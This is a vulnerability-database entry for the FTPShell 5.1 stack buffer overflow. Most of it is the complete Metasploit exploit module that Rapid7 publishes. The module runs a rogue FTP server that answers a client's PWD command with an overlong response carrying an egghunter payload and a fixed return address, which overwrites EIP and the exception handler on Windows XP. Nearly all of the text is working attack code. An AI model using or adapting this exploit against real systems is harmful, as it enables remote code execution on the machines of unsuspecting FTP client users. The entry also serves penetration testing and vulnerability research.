FTPShell 5.1 Stack Buffer Overflow

2010-10-12T17:31:18
ID MSF:EXPLOIT/WINDOWS/FTP/FTPSHELL51_PWD_REPLY
Type metasploit
Reporter Rapid7
Modified 2017-09-22T23:49:09

Description

This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets triggered when the ftp client tries to process an overly long response to a PWD command. This will overwrite the saved EIP and structured exception handler.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Exploit::Remote::FtpServer
  include Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FTPShell 5.1 Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
        triggered when the ftp client tries to process an overly long response to a PWD
        command. This will overwrite the saved EIP and structured exception handler.
      },
      'Author' 	 =>
        [
          'corelanc0d3r <peter.ve[at]corelan.be>'	#found bug, wrote the exploit
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '68639'],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483  } ], #jmp ebp [setupapi.dll]]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 12 2010',
      'DefaultTarget'  => 0))

  end


  def setup
    super
  end

  def on_client_unknown_command(c,cmd,arg)
    c.put("200 OK\r\n")
  end


  def on_client_command_pwd(c,arg)

    badchars = ""
    eggoptions =
    {
    :checksum => true,
    :eggtag => "w00t"
    }
    hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)

    print_status(" - PWD command -> Sending payload")
    junk = "A" * target['Offset']
    nops = "A" * 10
    tweakhunter = "\x5a\x5a"
    eip = [target.ret].pack('V')
    buffer = junk + eip + nops + tweakhunter + hunter + egg
    pwdoutput = "257  \"/" + buffer+ "\" is current directory\r\n"
    c.put(pwdoutput)
    print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
    return

  end
end